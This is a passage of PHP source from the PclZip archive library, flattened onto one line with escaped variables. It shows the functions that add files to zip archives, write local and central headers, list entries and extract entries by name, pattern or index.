PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, \"File '\".\$v_descr['filename'].\"' does not exist\"); return PclZip::errorCode(); } \$this->privCalculateStoredFilename(\$v_descr, \$p_options); \$v_result_list[sizeof(\$v_result_list)] = \$v_descr; if (\$v_descr['type'] == 'folder') { \$v_dirlist_descr = array(); \$v_dirlist_nb = 0; if (\$v_folder_handler = @opendir(\$v_descr['filename'])) { while ((\$v_item_handler = @readdir(\$v_folder_handler)) !== false) { if ((\$v_item_handler == '.') || (\$v_item_handler == '..')) { continue; } \$v_dirlist_descr[\$v_dirlist_nb]['filename'] = \$v_descr['filename'].'/'.\$v_item_handler; if ((\$v_descr['stored_filename'] != \$v_descr['filename']) && (!isset(\$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { if (\$v_descr['stored_filename'] != '') { \$v_dirlist_descr[\$v_dirlist_nb]['new_full_name'] = \$v_descr['stored_filename'].'/'.\$v_item_handler; } else { \$v_dirlist_descr[\$v_dirlist_nb]['new_full_name'] = \$v_item_handler; } } \$v_dirlist_nb++; } @closedir(\$v_folder_handler); } else { } if (\$v_dirlist_nb != 0) { if ((\$v_result = \$this->privFileDescrExpand(\$v_dirlist_descr, \$p_options)) != 1) { return \$v_result; } \$v_result_list = array_merge(\$v_result_list, \$v_dirlist_descr); } else { } unset(\$v_dirlist_descr); } } \$p_filedescr_list = \$v_result_list; return \$v_result; } function privCreate(\$p_filedescr_list, &\$p_result_list, &\$p_options) { \$v_result=1; \$v_list_detail = array(); \$this->privDisableMagicQuotes(); if ((\$v_result = \$this->privOpenFd('wb')) != 1) { return \$v_result; } \$v_result = \$this->privAddList(\$p_filedescr_list, \$p_result_list, \$p_options); \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } function privAdd(\$p_filedescr_list, &\$p_result_list, &\$p_options) { \$v_result=1; \$v_list_detail = array(); if ((!is_file(\$this->zipname)) || (filesize(\$this->zipname) == 0)) { \$v_result = \$this->privCreate(\$p_filedescr_list, \$p_result_list, \$p_options); return \$v_result; } \$this->privDisableMagicQuotes(); if ((\$v_result=\$this->privOpenFd('rb')) != 1) { \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_central_dir = array(); if ((\$v_result = \$this->privReadEndCentralDir(\$v_central_dir)) != 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } @rewind(\$this->zip_fd); \$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; if ((\$v_zip_temp_fd = @fopen(\$v_zip_temp_name, 'wb')) == 0) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \\''.\$v_zip_temp_name.'\\' in binary write mode'); return PclZip::errorCode(); } \$v_size = \$v_central_dir['offset']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = fread(\$this->zip_fd, \$v_read_size); @fwrite(\$v_zip_temp_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } \$v_swap = \$this->zip_fd; \$this->zip_fd = \$v_zip_temp_fd; \$v_zip_temp_fd = \$v_swap; \$v_header_list = array(); if ((\$v_result = \$this->privAddFileList(\$p_filedescr_list, \$v_header_list, \$p_options)) != 1) { fclose(\$v_zip_temp_fd); \$this->privCloseFd(); @unlink(\$v_zip_temp_name); \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_offset = @ftell(\$this->zip_fd); \$v_size = \$v_central_dir['size']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$v_zip_temp_fd, \$v_read_size); @fwrite(\$this->zip_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } for (\$i=0, \$v_count=0; \$i<sizeof(\$v_header_list); \$i++) { if (\$v_header_list[\$i]['status'] == 'ok') { if ((\$v_result = \$this->privWriteCentralFileHeader(\$v_header_list[\$i])) != 1) { fclose(\$v_zip_temp_fd); \$this->privCloseFd(); @unlink(\$v_zip_temp_name); \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_count++; } \$this->privConvertHeader2FileInfo(\$v_header_list[\$i], \$p_result_list[\$i]); } \$v_comment = \$v_central_dir['comment']; if (isset(\$p_options[PCLZIP_OPT_COMMENT])) { \$v_comment = \$p_options[PCLZIP_OPT_COMMENT]; } if (isset(\$p_options[PCLZIP_OPT_ADD_COMMENT])) { \$v_comment = \$v_comment.\$p_options[PCLZIP_OPT_ADD_COMMENT]; } if (isset(\$p_options[PCLZIP_OPT_PREPEND_COMMENT])) { \$v_comment = \$p_options[PCLZIP_OPT_PREPEND_COMMENT].\$v_comment; } \$v_size = @ftell(\$this->zip_fd)-\$v_offset; if ((\$v_result = \$this->privWriteCentralHeader(\$v_count+\$v_central_dir['entries'], \$v_size, \$v_offset, \$v_comment)) != 1) { unset(\$v_header_list); \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_swap = \$this->zip_fd; \$this->zip_fd = \$v_zip_temp_fd; \$v_zip_temp_fd = \$v_swap; \$this->privCloseFd(); @fclose(\$v_zip_temp_fd); \$this->privSwapBackMagicQuotes(); @unlink(\$this->zipname); PclZipUtilRename(\$v_zip_temp_name, \$this->zipname); return \$v_result; } function privOpenFd(\$p_mode) { \$v_result=1; if (\$this->zip_fd != 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \\''.\$this->zipname.'\\' already open'); return PclZip::errorCode(); } if ((\$this->zip_fd = @fopen(\$this->zipname, \$p_mode)) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \\''.\$this->zipname.'\\' in '.\$p_mode.' mode'); return PclZip::errorCode(); } return \$v_result; } function privCloseFd() { \$v_result=1; if (\$this->zip_fd != 0) @fclose(\$this->zip_fd); \$this->zip_fd = 0; return \$v_result; } function privAddList(\$p_filedescr_list, &\$p_result_list, &\$p_options) { \$v_result=1; \$v_header_list = array(); if ((\$v_result = \$this->privAddFileList(\$p_filedescr_list, \$v_header_list, \$p_options)) != 1) { return \$v_result; } \$v_offset = @ftell(\$this->zip_fd); for (\$i=0,\$v_count=0; \$i<sizeof(\$v_header_list); \$i++) { if (\$v_header_list[\$i]['status'] == 'ok') { if ((\$v_result = \$this->privWriteCentralFileHeader(\$v_header_list[\$i])) != 1) { return \$v_result; } \$v_count++; } \$this->privConvertHeader2FileInfo(\$v_header_list[\$i], \$p_result_list[\$i]); } \$v_comment = ''; if (isset(\$p_options[PCLZIP_OPT_COMMENT])) { \$v_comment = \$p_options[PCLZIP_OPT_COMMENT]; } \$v_size = @ftell(\$this->zip_fd)-\$v_offset; if ((\$v_result = \$this->privWriteCentralHeader(\$v_count, \$v_size, \$v_offset, \$v_comment)) != 1) { unset(\$v_header_list); return \$v_result; } return \$v_result; } function privAddFileList(\$p_filedescr_list, &\$p_result_list, &\$p_options) { \$v_result=1; \$v_header = array(); \$v_nb = sizeof(\$p_result_list); for (\$j=0; (\$j<sizeof(\$p_filedescr_list)) && (\$v_result==1); \$j++) { \$p_filedescr_list[\$j]['filename'] = PclZipUtilTranslateWinPath(\$p_filedescr_list[\$j]['filename'], false); if (\$p_filedescr_list[\$j]['filename'] == \"\") { continue; } if ( (\$p_filedescr_list[\$j]['type'] != 'virtual_file') && (!file_exists(\$p_filedescr_list[\$j]['filename']))) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, \"File '\".\$p_filedescr_list[\$j]['filename'].\"' does not exist\"); return PclZip::errorCode(); } if ( (\$p_filedescr_list[\$j]['type'] == 'file') || (\$p_filedescr_list[\$j]['type'] == 'virtual_file') || ( (\$p_filedescr_list[\$j]['type'] == 'folder') && ( !isset(\$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]) || !\$p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) ) { \$v_result = \$this->privAddFile(\$p_filedescr_list[\$j], \$v_header, \$p_options); if (\$v_result != 1) { return \$v_result; } \$p_result_list[\$v_nb++] = \$v_header; } } return \$v_result; } function privAddFile(\$p_filedescr, &\$p_header, &\$p_options) { \$v_result=1; \$p_filename = \$p_filedescr['filename']; if (\$p_filename == \"\") { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid file list parameter (invalid or empty list)\"); return PclZip::errorCode(); } clearstatcache(); \$p_header['version'] = 20; \$p_header['version_extracted'] = 10; \$p_header['flag'] = 0; \$p_header['compression'] = 0; \$p_header['crc'] = 0; \$p_header['compressed_size'] = 0; \$p_header['filename_len'] = strlen(\$p_filename); \$p_header['extra_len'] = 0; \$p_header['disk'] = 0; \$p_header['internal'] = 0; \$p_header['offset'] = 0; \$p_header['filename'] = \$p_filename; \$p_header['stored_filename'] = \$p_filedescr['stored_filename']; \$p_header['extra'] = ''; \$p_header['status'] = 'ok'; \$p_header['index'] = -1; if (\$p_filedescr['type']=='file') { \$p_header['external'] = 0x00000000; \$p_header['size'] = filesize(\$p_filename); } else if (\$p_filedescr['type']=='folder') { \$p_header['external'] = 0x00000010; \$p_header['mtime'] = filemtime(\$p_filename); \$p_header['size'] = filesize(\$p_filename); } else if (\$p_filedescr['type'] == 'virtual_file') { \$p_header['external'] = 0x00000000; \$p_header['size'] = strlen(\$p_filedescr['content']); } if (isset(\$p_filedescr['mtime'])) { \$p_header['mtime'] = \$p_filedescr['mtime']; } else if (\$p_filedescr['type'] == 'virtual_file') { \$p_header['mtime'] = time(); } else { \$p_header['mtime'] = filemtime(\$p_filename); } if (isset(\$p_filedescr['comment'])) { \$p_header['comment_len'] = strlen(\$p_filedescr['comment']); \$p_header['comment'] = \$p_filedescr['comment']; } else { \$p_header['comment_len'] = 0; \$p_header['comment'] = ''; } if (isset(\$p_options[PCLZIP_CB_PRE_ADD])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_header, \$v_local_header); \$v_result = \$p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, \$v_local_header); if (\$v_result == 0) { \$p_header['status'] = \"skipped\"; \$v_result = 1; } if (\$p_header['stored_filename'] != \$v_local_header['stored_filename']) { \$p_header['stored_filename'] = PclZipUtilPathReduction(\$v_local_header['stored_filename']); } } if (\$p_header['stored_filename'] == \"\") { \$p_header['status'] = \"filtered\"; } if (strlen(\$p_header['stored_filename']) > 0xFF) { \$p_header['status'] = 'filename_too_long'; } if (\$p_header['status'] == 'ok') { if (\$p_filedescr['type'] == 'file') { if ( (!isset(\$p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset(\$p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset(\$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && (\$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= \$p_header['size'])) ) ) { \$v_result = \$this->privAddFileUsingTempFile(\$p_filedescr, \$p_header, \$p_options); if (\$v_result < PCLZIP_ERR_NO_ERROR) { return \$v_result; } } else { if ((\$v_file = @fopen(\$p_filename, \"rb\")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \"Unable to open file '\$p_filename' in binary read mode\"); return PclZip::errorCode(); } \$v_content = @fread(\$v_file, \$p_header['size']); @fclose(\$v_file); \$p_header['crc'] = @crc32(\$v_content); if (\$p_options[PCLZIP_OPT_NO_COMPRESSION]) { \$p_header['compressed_size'] = \$p_header['size']; \$p_header['compression'] = 0; } else { \$v_content = @gzdeflate(\$v_content); \$p_header['compressed_size'] = strlen(\$v_content); \$p_header['compression'] = 8; } if ((\$v_result = \$this->privWriteFileHeader(\$p_header)) != 1) { @fclose(\$v_file); return \$v_result; } @fwrite(\$this->zip_fd, \$v_content, \$p_header['compressed_size']); } } else if (\$p_filedescr['type'] == 'virtual_file') { \$v_content = \$p_filedescr['content']; \$p_header['crc'] = @crc32(\$v_content); if (\$p_options[PCLZIP_OPT_NO_COMPRESSION]) { \$p_header['compressed_size'] = \$p_header['size']; \$p_header['compression'] = 0; } else { \$v_content = @gzdeflate(\$v_content); \$p_header['compressed_size'] = strlen(\$v_content); \$p_header['compression'] = 8; } if ((\$v_result = \$this->privWriteFileHeader(\$p_header)) != 1) { @fclose(\$v_file); return \$v_result; } @fwrite(\$this->zip_fd, \$v_content, \$p_header['compressed_size']); } else if (\$p_filedescr['type'] == 'folder') { if (@substr(\$p_header['stored_filename'], -1) != '/') { \$p_header['stored_filename'] .= '/'; } \$p_header['size'] = 0; \$p_header['external'] = 0x00000010; if ((\$v_result = \$this->privWriteFileHeader(\$p_header)) != 1) { return \$v_result; } } } if (isset(\$p_options[PCLZIP_CB_POST_ADD])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_header, \$v_local_header); \$v_result = \$p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, \$v_local_header); if (\$v_result == 0) { \$v_result = 1; } } return \$v_result; } function privAddFileUsingTempFile(\$p_filedescr, &\$p_header, &\$p_options) { \$v_result=PCLZIP_ERR_NO_ERROR; \$p_filename = \$p_filedescr['filename']; if ((\$v_file = @fopen(\$p_filename, \"rb\")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \"Unable to open file '\$p_filename' in binary read mode\"); return PclZip::errorCode(); } \$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; if ((\$v_file_compressed = @gzopen(\$v_gzip_temp_name, \"wb\")) == 0) { fclose(\$v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \\''.\$v_gzip_temp_name.'\\' in binary write mode'); return PclZip::errorCode(); } \$v_size = filesize(\$p_filename); while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$v_file, \$v_read_size); @gzputs(\$v_file_compressed, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } @fclose(\$v_file); @gzclose(\$v_file_compressed); if (filesize(\$v_gzip_temp_name) < 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \\''.\$v_gzip_temp_name.'\\' has invalid filesize - should be minimum 18 bytes'); return PclZip::errorCode(); } if ((\$v_file_compressed = @fopen(\$v_gzip_temp_name, \"rb\")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \\''.\$v_gzip_temp_name.'\\' in binary read mode'); return PclZip::errorCode(); } \$v_binary_data = @fread(\$v_file_compressed, 10); \$v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', \$v_binary_data); \$v_data_header['os'] = bin2hex(\$v_data_header['os']); @fseek(\$v_file_compressed, filesize(\$v_gzip_temp_name)-8); \$v_binary_data = @fread(\$v_file_compressed, 8); \$v_data_footer = unpack('Vcrc/Vcompressed_size', \$v_binary_data); \$p_header['compression'] = ord(\$v_data_header['cm']); \$p_header['crc'] = \$v_data_footer['crc']; \$p_header['compressed_size'] = filesize(\$v_gzip_temp_name)-18; @fclose(\$v_file_compressed); if ((\$v_result = \$this->privWriteFileHeader(\$p_header)) != 1) { return \$v_result; } if ((\$v_file_compressed = @fopen(\$v_gzip_temp_name, \"rb\")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \\''.\$v_gzip_temp_name.'\\' in binary read mode'); return PclZip::errorCode(); } fseek(\$v_file_compressed, 10); \$v_size = \$p_header['compressed_size']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$v_file_compressed, \$v_read_size); @fwrite(\$this->zip_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } @fclose(\$v_file_compressed); @unlink(\$v_gzip_temp_name); return \$v_result; } function privCalculateStoredFilename(&\$p_filedescr, &\$p_options) { \$v_result=1; \$p_filename = \$p_filedescr['filename']; if (isset(\$p_options[PCLZIP_OPT_ADD_PATH])) { \$p_add_dir = \$p_options[PCLZIP_OPT_ADD_PATH]; } else { \$p_add_dir = ''; } if (isset(\$p_options[PCLZIP_OPT_REMOVE_PATH])) { \$p_remove_dir = \$p_options[PCLZIP_OPT_REMOVE_PATH]; } else { \$p_remove_dir = ''; } if (isset(\$p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { \$p_remove_all_dir = \$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } else { \$p_remove_all_dir = 0; } if (isset(\$p_filedescr['new_full_name'])) { \$v_stored_filename = PclZipUtilTranslateWinPath(\$p_filedescr['new_full_name']); } else { if (isset(\$p_filedescr['new_short_name'])) { \$v_path_info = pathinfo(\$p_filename); \$v_dir = ''; if (\$v_path_info['dirname'] != '') { \$v_dir = \$v_path_info['dirname'].'/'; } \$v_stored_filename = \$v_dir.\$p_filedescr['new_short_name']; } else { \$v_stored_filename = \$p_filename; } if (\$p_remove_all_dir) { \$v_stored_filename = basename(\$p_filename); } else if (\$p_remove_dir != \"\") { if (substr(\$p_remove_dir, -1) != '/') \$p_remove_dir .= \"/\"; if ( (substr(\$p_filename, 0, 2) == \"./\") || (substr(\$p_remove_dir, 0, 2) == \"./\")) { if ( (substr(\$p_filename, 0, 2) == \"./\") && (substr(\$p_remove_dir, 0, 2) != \"./\")) { \$p_remove_dir = \"./\".\$p_remove_dir; } if ( (substr(\$p_filename, 0, 2) != \"./\") && (substr(\$p_remove_dir, 0, 2) == \"./\")) { \$p_remove_dir = substr(\$p_remove_dir, 2); } } \$v_compare = PclZipUtilPathInclusion(\$p_remove_dir, \$v_stored_filename); if (\$v_compare > 0) { if (\$v_compare == 2) { \$v_stored_filename = \"\"; } else { \$v_stored_filename = substr(\$v_stored_filename, strlen(\$p_remove_dir)); } } } \$v_stored_filename = PclZipUtilTranslateWinPath(\$v_stored_filename); if (\$p_add_dir != \"\") { if (substr(\$p_add_dir, -1) == \"/\") \$v_stored_filename = \$p_add_dir.\$v_stored_filename; else \$v_stored_filename = \$p_add_dir.\"/\".\$v_stored_filename; } } \$v_stored_filename = PclZipUtilPathReduction(\$v_stored_filename); \$p_filedescr['stored_filename'] = \$v_stored_filename; return \$v_result; } function privWriteFileHeader(&\$p_header) { \$v_result=1; \$p_header['offset'] = ftell(\$this->zip_fd); \$v_date = getdate(\$p_header['mtime']); \$v_mtime = (\$v_date['hours']<<11) + (\$v_date['minutes']<<5) + \$v_date['seconds']/2; \$v_mdate = ((\$v_date['year']-1980)<<9) + (\$v_date['mon']<<5) + \$v_date['mday']; \$v_binary_data = pack(\"VvvvvvVVVvv\", 0x04034b50, \$p_header['version_extracted'], \$p_header['flag'], \$p_header['compression'], \$v_mtime, \$v_mdate, \$p_header['crc'], \$p_header['compressed_size'], \$p_header['size'], strlen(\$p_header['stored_filename']), \$p_header['extra_len']); fputs(\$this->zip_fd, \$v_binary_data, 30); if (strlen(\$p_header['stored_filename']) != 0) { fputs(\$this->zip_fd, \$p_header['stored_filename'], strlen(\$p_header['stored_filename'])); } if (\$p_header['extra_len'] != 0) { fputs(\$this->zip_fd, \$p_header['extra'], \$p_header['extra_len']); } return \$v_result; } function privWriteCentralFileHeader(&\$p_header) { \$v_result=1; \$v_date = getdate(\$p_header['mtime']); \$v_mtime = (\$v_date['hours']<<11) + (\$v_date['minutes']<<5) + \$v_date['seconds']/2; \$v_mdate = ((\$v_date['year']-1980)<<9) + (\$v_date['mon']<<5) + \$v_date['mday']; \$v_binary_data = pack(\"VvvvvvvVVVvvvvvVV\", 0x02014b50, \$p_header['version'], \$p_header['version_extracted'], \$p_header['flag'], \$p_header['compression'], \$v_mtime, \$v_mdate, \$p_header['crc'], \$p_header['compressed_size'], \$p_header['size'], strlen(\$p_header['stored_filename']), \$p_header['extra_len'], \$p_header['comment_len'], \$p_header['disk'], \$p_header['internal'], \$p_header['external'], \$p_header['offset']); fputs(\$this->zip_fd, \$v_binary_data, 46); if (strlen(\$p_header['stored_filename']) != 0) { fputs(\$this->zip_fd, \$p_header['stored_filename'], strlen(\$p_header['stored_filename'])); } if (\$p_header['extra_len'] != 0) { fputs(\$this->zip_fd, \$p_header['extra'], \$p_header['extra_len']); } if (\$p_header['comment_len'] != 0) { fputs(\$this->zip_fd, \$p_header['comment'], \$p_header['comment_len']); } return \$v_result; } function privWriteCentralHeader(\$p_nb_entries, \$p_size, \$p_offset, \$p_comment) { \$v_result=1; \$v_binary_data = pack(\"VvvvvVVv\", 0x06054b50, 0, 0, \$p_nb_entries, \$p_nb_entries, \$p_size, \$p_offset, strlen(\$p_comment)); fputs(\$this->zip_fd, \$v_binary_data, 22); if (strlen(\$p_comment) != 0) { fputs(\$this->zip_fd, \$p_comment, strlen(\$p_comment)); } return \$v_result; } function privList(&\$p_list) { \$v_result=1; \$this->privDisableMagicQuotes(); if ((\$this->zip_fd = @fopen(\$this->zipname, 'rb')) == 0) { \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \\''.\$this->zipname.'\\' in binary read mode'); return PclZip::errorCode(); } \$v_central_dir = array(); if ((\$v_result = \$this->privReadEndCentralDir(\$v_central_dir)) != 1) { \$this->privSwapBackMagicQuotes(); return \$v_result; } @rewind(\$this->zip_fd); if (@fseek(\$this->zip_fd, \$v_central_dir['offset'])) { \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } for (\$i=0; \$i<\$v_central_dir['entries']; \$i++) { if ((\$v_result = \$this->privReadCentralFileHeader(\$v_header)) != 1) { \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_header['index'] = \$i; \$this->privConvertHeader2FileInfo(\$v_header, \$p_list[\$i]); unset(\$v_header); } \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } function privConvertHeader2FileInfo(\$p_header, &\$p_info) { \$v_result=1; \$v_temp_path = PclZipUtilPathReduction(\$p_header['filename']); \$p_info['filename'] = \$v_temp_path; \$v_temp_path = PclZipUtilPathReduction(\$p_header['stored_filename']); \$p_info['stored_filename'] = \$v_temp_path; \$p_info['size'] = \$p_header['size']; \$p_info['compressed_size'] = \$p_header['compressed_size']; \$p_info['mtime'] = \$p_header['mtime']; \$p_info['comment'] = \$p_header['comment']; \$p_info['folder'] = ((\$p_header['external']&0x00000010)==0x00000010); \$p_info['index'] = \$p_header['index']; \$p_info['status'] = \$p_header['status']; \$p_info['crc'] = \$p_header['crc']; return \$v_result; } function privExtractByRule(&\$p_file_list, \$p_path, \$p_remove_path, \$p_remove_all_path, &\$p_options) { \$v_result=1; \$this->privDisableMagicQuotes(); if ( (\$p_path == \"\") || ( (substr(\$p_path, 0, 1) != \"/\") && (substr(\$p_path, 0, 3) != \"../\") && (substr(\$p_path,1,2)!=\":/\"))) \$p_path = \"./\".\$p_path; if ((\$p_path != \"./\") && (\$p_path != \"/\")) { while (substr(\$p_path, -1) == \"/\") { \$p_path = substr(\$p_path, 0, strlen(\$p_path)-1); } } if ((\$p_remove_path != \"\") && (substr(\$p_remove_path, -1) != '/')) { \$p_remove_path .= '/'; } \$p_remove_path_size = strlen(\$p_remove_path); if ((\$v_result = \$this->privOpenFd('rb')) != 1) { \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_central_dir = array(); if ((\$v_result = \$this->privReadEndCentralDir(\$v_central_dir)) != 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_pos_entry = \$v_central_dir['offset']; \$j_start = 0; for (\$i=0, \$v_nb_extracted=0; \$i<\$v_central_dir['entries']; \$i++) { @rewind(\$this->zip_fd); if (@fseek(\$this->zip_fd, \$v_pos_entry)) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } \$v_header = array(); if ((\$v_result = \$this->privReadCentralFileHeader(\$v_header)) != 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_header['index'] = \$i; \$v_pos_entry = ftell(\$this->zip_fd); \$v_extract = false; if ( (isset(\$p_options[PCLZIP_OPT_BY_NAME])) && (\$p_options[PCLZIP_OPT_BY_NAME] != 0)) { for (\$j=0; (\$j<sizeof(\$p_options[PCLZIP_OPT_BY_NAME])) && (!\$v_extract); \$j++) { if (substr(\$p_options[PCLZIP_OPT_BY_NAME][\$j], -1) == \"/\") { if ( (strlen(\$v_header['stored_filename']) > strlen(\$p_options[PCLZIP_OPT_BY_NAME][\$j])) && (substr(\$v_header['stored_filename'], 0, strlen(\$p_options[PCLZIP_OPT_BY_NAME][\$j])) == \$p_options[PCLZIP_OPT_BY_NAME][\$j])) { \$v_extract = true; } } elseif (\$v_header['stored_filename'] == \$p_options[PCLZIP_OPT_BY_NAME][\$j]) { \$v_extract = true; } } } else if ( (isset(\$p_options[PCLZIP_OPT_BY_PREG])) && (\$p_options[PCLZIP_OPT_BY_PREG] != \"\")) { if (preg_match(\$p_options[PCLZIP_OPT_BY_PREG], \$v_header['stored_filename'])) { \$v_extract = true; } } else if ( (isset(\$p_options[PCLZIP_OPT_BY_INDEX])) && (\$p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for (\$j=\$j_start; (\$j<sizeof(\$p_options[PCLZIP_OPT_BY_INDEX])) && (!\$v_extract); \$j++) { if ((\$i>=\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['start']) && (\$i<=\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['end'])) { \$v_extract = true; } if (\$i>=\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['end']) { \$j_start = \$j+1; } if (\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['start']>\$i) { break; } } } else { \$v_extract = true; } if ( (\$v_extract) && ( (\$v_header['compression'] != 8) && (\$v_header['compression'] != 0))) { \$v_header['status'] = 'unsupported_compression'; if ( (isset(\$p_options[PCLZIP_OPT_STOP_ON_ERROR])) && (\$p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, \"Filename '\".\$v_header['stored_filename'].\"' is \" .\"compressed by an unsupported compression \" .\"method (\".\$v_header['compression'].\") \"); return PclZip::errorCode(); } } if ((\$v_extract) && ((\$v_header['flag'] & 1) == 1)) { \$v_header['status'] = 'unsupported_encryption'; if ( (isset(\$p_options[PCLZIP_OPT_STOP_ON_ERROR])) && (\$p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, \"Unsupported encryption for \" .\" filename '\".\$v_header['stored_filename'] .\"'\"); return PclZip::errorCode(); } } if ((\$v_extract) && (\$v_header['status'] != 'ok')) { \$v_result = \$this->privConvertHeader2FileInfo(\$v_header, \$p_file_list[\$v_nb_extracted++]); if (\$v_result != 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } \$v_extract = false; } if (\$v_extract) { @rewind(\$this->zip_fd); if (@fseek(\$this->zip_fd, \$v_header['offset'])) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } if (\$p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { \$v_string = ''; \$v_result1 = \$this->privExtractFileAsString(\$v_header, \$v_string, \$p_options); if (\$v_result1 < 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result1; } if ((\$v_result = \$this->privConvertHeader2FileInfo(\$v_header, \$p_file_list[\$v_nb_extracted])) != 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } \$p_file_list[\$v_nb_extracted]['content'] = \$v_string; \$v_nb_extracted++; if (\$v_result1 == 2) { break; } } elseif ( (isset(\$p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) && (\$p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { \$v_result1 = \$this->privExtractFileInOutput(\$v_header, \$p_options); if (\$v_result1 < 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result1; } if ((\$v_result = \$this->privConvertHeader2FileInfo(\$v_header, \$p_file_list[\$v_nb_extracted++])) != 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } if (\$v_result1 == 2) { break; } } else { \$v_result1 = \$this->privExtractFile(\$v_header, \$p_path, \$p_remove_path, \$p_remove_all_path, \$p_options); if (\$v_result1 < 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result1; } if ((\$v_result = \$this->privConvertHeader2FileInfo(\$v_header, \$p_file_list[\$v_nb_extracted++])) != 1) { \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } if (\$v_result1 == 2) { break; } } } } \$this->privCloseFd(); \$this->privSwapBackMagicQuotes(); return \$v_result; } function privExtractFile(&\$p_entry, \$p_path, \$p_remove_path, \$p_remove_all_path, &\$p_options) { \$v_result=1; if ((\$v_result = \$this->privReadFileHeader(\$v_header)) != 